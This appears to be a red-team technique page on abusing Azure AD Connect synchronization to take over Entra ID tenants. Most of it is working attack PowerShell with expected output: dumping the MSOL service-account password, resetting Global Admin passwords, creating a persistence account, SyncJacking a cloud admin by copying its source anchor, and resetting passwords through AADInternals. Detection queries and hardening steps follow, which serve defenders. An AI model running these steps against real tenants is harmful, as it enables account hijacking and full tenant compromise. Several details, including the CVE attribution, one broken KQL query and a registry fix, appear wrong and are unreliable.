Full File Path: 04_PrivEsc/PE-ACCTMGMT-015_DirSync.md
| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-015 |
| MITRE ATT&CK v18.1 | T1098.001 - Additional Cloud Credentials |
| Tactic | Privilege Escalation (TA0004) |
| Platforms | Windows (on-premises AD), Cloud (Entra ID), Hybrid |
| Severity | Critical |
| CVE | CVE-2023-32315 (DirSync privilege escalation, patched August 2024) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure AD Connect versions; Microsoft Entra Cloud Sync; All Entra ID with hybrid sync; Windows Server 2012+ |
| Patched In | CVE-2023-32315 patched August 2024; SyncJacking under MSRC review (2025); Implicit permissions remain (no patch available) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Directory Synchronization Manipulation exploits the inherent trust relationship between on-premises Active Directory and cloud Entra ID by abusing Azure AD Connect (ADConnect) permissions, synchronization database access, and identity matching mechanisms. An attacker with compromised on-premises AD credentials or access to the ADConnect server can manipulate account attributes, reset passwords for cloud accounts, extract password hashes, or forcibly hijack cloud identities via techniques like SyncJacking (hard matching takeover) and soft matching abuse. The Directory Synchronization Accounts role retains implicit ADSynchronization.ReadWrite.All permissions even after Microsoft’s August 2024 hardening, allowing password reset and attribute manipulation despite explicit permission reduction.
Attack Surface:
Business Impact: An attacker who compromises the ADConnect service account or on-premises AD with write permissions can reset passwords for ANY cloud account (including Global Admins), hijack cloud identities, extract password hashes, and establish persistent hybrid access. The bi-directional trust enables lateral movement from on-premises to cloud and back, allowing complete tenant compromise while remaining difficult to detect (minimal audit trail).
Technical Context: ADConnect synchronization occurs automatically (default: 30-minute intervals) but can be forced on-demand by attackers with database access or through password hash manipulation. Detection depends on monitoring both on-premises AD changes AND cloud identity changes for misalignment. Reversibility is difficult; recovering a hijacked cloud identity requires removing it from synchronization scope and re-syncing a new on-premises source account, which requires significant ADConnect knowledge.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1, 5.1 | Hybrid users should NOT be assigned to privileged roles; ADConnect must be Tier 0. |
| DISA STIG | V-72983 | Restrict directory synchronization to non-privileged accounts only. |
| CISA SCuBA | MS.AAD.1.1 | Prevent on-premises accounts from being assigned cloud administrative roles. |
| NIST 800-53 | AC-3, AC-5, AC-6, SI-3 | Access Enforcement, Separation of Duties, Least Privilege, Malware Protection. |
| NIST 800-207 | Zero Trust | No implicit trust of synchronization channel; verify all identity changes. |
| GDPR | Art. 32 | Security of Processing; protect identity synchronization infrastructure. |
| DORA | Art. 9 | Protection and Prevention; secure hybrid identity infrastructure. |
| NIS2 | Art. 21 | Cyber Risk Management; control identity synchronization accounts. |
| ISO 27001 | A.9.1.1, A.13.1.3 | User Access Management; Segregation of Duties; Information security event logging. |
| ISO 27005 | Risk Scenario: “Compromise of Identity Synchronization Infrastructure” | Hybrid attack enabling full tenant compromise. |
Supported Versions:
Tools:
# Connect to Entra ID
Connect-MgGraph -Scopes "User.Read.All", "Directory.Read.All"
# Find all hybrid-synced users (on-prem synchronization enabled)
$hybridUsers = Get-MgUser -All | Where-Object { $_.OnPremisesSyncEnabled -eq $true }
# Check which ones have privileged roles
$hybridUsers | ForEach-Object {
$user = $_
$roles = Get-MgUserMemberOf -UserId $user.Id | Where-Object { $_.ODataType -eq "#microsoft.graph.directoryRole" }
if ($roles) {
Write-Host "CRITICAL: Hybrid user with privileged role: $($user.UserPrincipalName)"
$roles | ForEach-Object {
$role = Get-MgDirectoryRole -DirectoryRoleId $_.Id
Write-Host " Role: $($role.DisplayName)"
}
}
}
What to Look For:
# Get Directory Synchronization Accounts role
$dirSyncRole = Get-MgDirectoryRole -Filter "displayName eq 'Directory Synchronization Accounts'"
# List all members
$syncMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $dirSyncRole.Id
Write-Host "Directory Synchronization Accounts members:"
$syncMembers | ForEach-Object {
$member = Get-MgServicePrincipal -Filter "id eq '$($_.Id)'" -ErrorAction SilentlyContinue
if ($member) {
Write-Host " - $($member.DisplayName) (App ID: $($member.AppId))"
Write-Host " Treat as highly privileged - may have ADSynchronization.ReadWrite.All"
}
}
What to Look For:
# Connect to on-premises AD (requires ActiveDirectory module)
Get-ADUser -Filter { OnPremisesSyncEnabled -eq $true } -Properties * | `
Where-Object { $_.AdminCount -eq 1 } | `
Select-Object Name, UserPrincipalName, ObjectGUID | `
ForEach-Object {
Write-Host "Synchronized Admin: $($_.Name)"
Write-Host " Source Anchor: $([Convert]::ToBase64String($_.ObjectGUID.ToByteArray()))"
}
What to Look For:
# Check ADConnect configuration via PowerShell (Windows required)
# Or enumerate via LDAP
ldapsearch -H ldap://dc.company.local -x -s base -b "CN=Configuration,DC=company,DC=local" \
"(cn=*ADConnect*)" | grep -E "cn|objectClass"
# Check for sync accounts in on-prem AD
ldapsearch -H ldap://dc.company.local -x -b "DC=company,DC=local" \
"(&(samAccountName=MSOL_*)(AdminCount=1))" | grep -E "sAMAccountName|mail"
What to Look For:
Supported Versions: All ADConnect versions; requires Domain Admin access or local admin on ADConnect server
Objective: Extract the MSOL_* service account password from ADConnect database or registry.
Command (on ADConnect server with local admin):
# Option A: Extract from Windows Credential Manager
$creds = Get-StoredCredential -Target "*MSOL*"
if ($creds) {
Write-Host "Found MSOL credentials in Credential Manager"
Write-Host "Password: $($creds.GetNetworkCredential().Password)"
}
# Option B: Extract from ADSync.mdf database (requires DBA/SYSTEM)
# Stop ADSync service first
Stop-Service ADSync -Force
# Use ADSyncDecrypt or adconnectdump tool
$adSyncPath = "C:\Program Files\Microsoft Azure AD Sync"
cd $adSyncPath
# Clone repository with decryption tool
# Run: python adconnectdump.py -db ADSync.mdf
# Option C: DPAPI decryption of encrypted credentials in registry
# Requires PSModule for DPAPI decryption
$regPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Sync"
$encryptedPassword = Get-ItemProperty -Path $regPath | Select-Object -ExpandProperty "EncryptedPassword" -ErrorAction SilentlyContinue
# Decrypt DPAPI blob (requires SYSTEM context or attacker's user context)
# Only possible if attacker is local admin or can run in SYSTEM context
Expected Output:
Found MSOL credentials in Credential Manager
Password: C0mpl3xP@ssw0rd!2024
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Reset password of hybrid-synchronized cloud admin user via on-premises AD.
Command:
# Authenticate as MSOL service account to on-prem AD
$molCred = New-Object System.Management.Automation.PSCredential `
("CONTOSO\MSOL_c1xxxxxxxxx", (ConvertTo-SecureString "C0mpl3xP@ssw0rd!2024" -AsPlainText -Force))
# Connect to on-premises AD
Set-ADAccountPassword -Identity "globaladmin" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd123!" -AsPlainText -Force) `
-Reset -Credential $molCred -Server "dc.company.local"
Write-Host "Password reset for on-prem user: globaladmin"
Expected Output:
Password reset for on-prem user: globaladmin
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Confirm password reset synced to cloud and test access.
Command:
# Login to cloud with compromised admin account
$cloudCred = New-Object System.Management.Automation.PSCredential `
("globaladmin@company.onmicrosoft.com", (ConvertTo-SecureString "NewP@ssw0rd123!" -AsPlainText -Force))
Connect-MgGraph -Credential $cloudCred -Scopes "Directory.Read.All"
# Verify Global Admin status
$user = Get-MgMe
$roles = Get-MgUserMemberOf -UserId $user.Id
Write-Host "Successfully authenticated as: $($user.UserPrincipalName)"
Write-Host "Roles: $($roles.Count)"
# Perform admin action as proof
$newUser = New-MgUser -DisplayName "Persistence Account" `
-MailNickname "persistence" `
-UserPrincipalName "persistence@company.onmicrosoft.com" `
-PasswordProfile @{ Password = "P3rsist3nceP@ss!" }
Write-Host "Proof of access: Created user: $($newUser.UserPrincipalName)"
Expected Output:
Successfully authenticated as: globaladmin@company.onmicrosoft.com
Roles: 5
Proof of access: Created user: persistence@company.onmicrosoft.com
What This Means:
Supported Versions: All ADConnect versions; requires on-premises AD write access
Objective: Find a privileged cloud-only or cloud admin account to hijack.
Command (On-Premises AD):
# Get the target cloud admin's source anchor (ImmutableId)
# This is stored in on-prem AD as objectGUID converted to base64
$targetUser = Get-ADUser -Filter { Mail -eq "target-admin@company.onmicrosoft.com" } -Properties objectGUID -ErrorAction SilentlyContinue
if ($targetUser) {
$sourceAnchor = [Convert]::ToBase64String($targetUser.objectGUID.ToByteArray())
Write-Host "Target found: $($targetUser.Name)"
Write-Host "Source Anchor: $sourceAnchor"
} else {
Write-Host "User not found in on-prem AD - target is cloud-only"
Write-Host "Will use SoftMatching if applicable"
}
What to Look For:
Objective: Create attacker’s on-premises account with target’s source anchor.
Command:
# Create new on-prem account controlled by attacker
$newUser = New-ADUser -Name "AttackerAccount" `
-SamAccountName "attackeraccount" `
-AccountPassword (ConvertTo-SecureString "AttackerP@ss123!" -AsPlainText -Force) `
-Enabled $true
$attUsr = Get-ADUser "attackeraccount" -Properties objectGUID
# Copy target's source anchor to attacker's account
# This forces hard matching to link attacker's account to target's cloud identity
Set-ADObject -Identity $attUsr -Replace @{
"mS-DS-ConsistencyGuid" = $targetUser.objectGUID.ToByteArray()
}
Write-Host "Source anchor copied to attacker's account"
Write-Host "Attacker account GUID: $($attUsr.objectGUID)"
Write-Host "Target source anchor: $sourceAnchor"
Expected Output:
Source anchor copied to attacker's account
Attacker account GUID: a1b2c3d4-e5f6-7890-abcdef1234567890
Target source anchor: ...base64 encoded...
What This Means:
OpSec & Evasion:
Objective: Force synchronization to link attacker’s account to target’s cloud identity.
Command:
# Delete the original target account (if it existed on-prem)
if ($targetUser) {
Remove-ADUser -Identity $targetUser.Name -Confirm:$false
Write-Host "Original target account deleted: $($targetUser.Name)"
}
# Wait for AD replication (5-15 minutes)
# Or trigger manual sync cycle
# Option A: Wait for next scheduled sync (typically 30 minutes)
Write-Host "Waiting for next sync cycle..."
Start-Sleep -Seconds 1800
# Option B: Force sync immediately (if attacker has ADConnect access)
# Can use implicit API or direct database manipulation
# Verify hijack succeeded
Connect-MgGraph -Scopes "User.Read.All"
$hijackedUser = Get-MgUser -Filter "userPrincipalName eq 'target-admin@company.onmicrosoft.com'"
if ($hijackedUser) {
$sourceAnchor = $hijackedUser.OnPremisesImmutableId
if ($sourceAnchor -eq [Convert]::ToBase64String($attUsr.objectGUID.ToByteArray())) {
Write-Host "HIJACK SUCCESSFUL!"
Write-Host "Cloud account now synced from attacker's on-prem account"
}
}
Expected Output:
Original target account deleted: globaladmin
Waiting for next sync cycle...
HIJACK SUCCESSFUL!
Cloud account now synced from attacker's on-prem account
What This Means:
OpSec & Evasion:
Supported Versions: All ADConnect versions; even post-August 2024 hardening
Objective: Obtain access token for implicit ADSynchronization API.
Command:
# Import AADInternals module
Import-Module AADInternals
# Authenticate using compromised MSOL or Sync service account
$creds = New-Object System.Management.Automation.PSCredential `
("CONTOSO\MSOL_c1xxxxxxxxx", (ConvertTo-SecureString "ServiceAccountPassword!" -AsPlainText -Force))
# Get access token with implicit permissions
$token = Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
Write-Host "Access token obtained for implicit API"
Expected Output:
Access token obtained for implicit API
What This Means:
Objective: Reset password for hybrid user using undocumented sync API.
Command:
# Get hybrid user's ImmutableId (source anchor)
$hybridUser = Get-ADUser -Filter { Mail -eq "admin@company.onmicrosoft.com" } -Properties objectGUID
$sourceAnchor = [Convert]::ToBase64String($hybridUser.objectGUID.ToByteArray())
# Use implicit API to reset password
# AADInternals provides a wrapper for this
Set-AADIntUserPassword -SourceAnchor $sourceAnchor `
-Password "NewP@ssw0rd456!" `
-AccessToken $token
Write-Host "Password reset via implicit API"
Write-Host "User: $($hybridUser.Name)"
Expected Output:
Password reset via implicit API
User: Administrator
What This Means:
OpSec & Evasion:
References & Proofs:
Command:
Invoke-AtomicTest T1098.001 -TestNumbers 5
Cleanup Command:
Invoke-AtomicTest T1098.001 -TestNumbers 5 -Cleanup
Reference: Atomic Red Team T1098.001
Version: Latest from GitHub Supported Platforms: Windows, Linux (Python-based)
Installation:
git clone https://github.com/dirkjanm/adconnectdump.git
cd adconnectdump
pip install -r requirements.txt
Usage - Extract ADConnect Credentials:
python adconnectdump.py -db ADSync.mdf
# Output: Plain-text MSOL account credentials
Version: 0.9.7+ Supported Platforms: Windows (PowerShell 5.0+)
Usage - Implicit API Password Reset:
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $creds
Set-AADIntUserPassword -SourceAnchor $sourceAnchor -Password "NewPass!"
Reset Hybrid User Password via Implicit API:
Import-Module AADInternals; $t=Get-AADIntAccessTokenForAADGraph -Credentials (Get-Credential); Set-AADIntUserPassword -SourceAnchor "base64-encoded-guid" -Password "P@ss123!" -AccessToken $t
Rule Configuration:
SPL Query:
index=wineventlog sourcetype=WinEventLog:Security EventID=5136
| search AttributeLDAPDisplayName="mS-DS-ConsistencyGuid"
| stats count min(_time) as firstTime max(_time) as lastTime by SubjectUserName, ObjectName
| where count >= 1
| alert
What This Detects:
Rule Configuration:
SPL Query:
index=wineventlog sourcetype=WinEventLog:Security SubjectUserName=*MSOL*
| search (EventID=4723 OR EventID=4724 OR EventID=4738)
| eval timestamp=strftime(_time, "%Y-%m-%d %H:%M:%S")
| stats count min(_time) as firstTime by SubjectUserName, TargetUserName, EventID
| alert
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Update user"
| search properties.dirSyncEnabled=true
| stats count by TargetResources{}.userPrincipalName
| where count > 5
| alert
What This Detects:
Applies To Versions: All Entra ID
KQL Query:
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "mS-DS-ConsistencyGuid"
| project TimeGenerated, SubjectUserName, ObjectName, EventID
| join kind=inner (
AuditLogs
| where OperationName == "Update user"
| where TargetResources[0].onPremisesSyncEnabled == true
) on TimeGenerated
| project TimeGenerated, SubjectUserName, ObjectName, OperationName
Applies To Versions: All Entra ID (with on-prem log ingestion)
KQL Query:
SecurityEvent
| where SubjectUserName contains "MSOL"
| where EventID in (4723, 4724)
| extend TargetUser = TargetUserName
| project TimeGenerated, SubjectUserName, TargetUser, EventID
| where TargetUser !in ("krbtgt", "Guest")
| alert
Applies To Versions: All Entra ID
KQL Query:
let adChanges = SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName in ("unicodePwd", "userPassword", "mail")
| project TimeGenerated, ObjectName, SubjectUserName, ADChangeTime=TimeGenerated;
AuditLogs
| where OperationName in ("Reset password (by admin)", "Update user")
| where TargetResources[0].onPremisesSyncEnabled == true
| join kind=inner (adChanges) on ObjectName
| where ADChangeTime > (CloudChangeTime - 30m) and ADChangeTime < (CloudChangeTime + 30m)
| project TimeGenerated, ObjectName, SubjectUserName, OperationName
| Event ID | Source | Meaning | DirSync Attack Indicator |
|---|---|---|---|
| 5136 | Directory Services | Attribute Modified | mS-DS-ConsistencyGuid change = SyncJacking |
| 4723 | Security | User password changed | MSOL service account changing user password |
| 4724 | Security | Password reset by admin | Attacker using compromised admin account |
| 4726 | Security | User account deleted | Deletion of original target account (SyncJacking) |
| 4738 | Security | User account changed | Attacker modifying target account attributes |
Audit Rule Configuration:
# Enable auditing for attribute modifications
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
# Enable auditing for password operations
auditpol /set /subcategory:"Account Management" /success:enable /failure:enable
<Sysmon schemaversion="4.22">
<EventFiltering>
<ServiceStateChange onmatch="include">
<ServiceName condition="contains">ADSync</ServiceName>
<State>Stopped</State>
</ServiceStateChange>
<ProcessCreate onmatch="include">
<Image condition="contains">adconnectdump</Image>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">sqlcmd</Image>
<CommandLine condition="contains">ADSync</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
What This Detects:
# Restart ADConnect sync cycle to refresh all accounts
Start-ADSyncSyncCycle -PolicyType Initial
# Reset MSOL service account password in on-prem AD
Set-ADAccountPassword -Identity "MSOL_*" -Reset -NewPassword (ConvertTo-SecureString "NewSecureP@ss" -AsPlainText -Force)
# Update password in ADConnect configuration
# (Requires ADConnect UI or PowerShell with specific module)
# Force cloud-only admins for all privileged roles
Get-MgUser -All | Where-Object { $_.OnPremisesSyncEnabled -eq $true } |
ForEach-Object {
$roles = Get-MgUserMemberOf -UserId $_.Id | Where-Object { $_.ODataType -eq "#microsoft.graph.directoryRole" }
if ($roles) {
# Remove from roles and document for re-assignment as cloud-only user
}
}
# Compare on-prem AD ObjectGUID with cloud ImmutableId
# For each hybrid user, verify: base64(ObjectGUID) == ImmutableId
# Disable Hard Matching takeover in ADConnect
# Registry: HKLM\SOFTWARE\Microsoft\Azure AD Sync
# Set: HardMatchingPolicy to "Disabled"
Official Microsoft Documentation:
Security Research & CVEs:
Tools & PoCs:
Cloud-Architekt Research: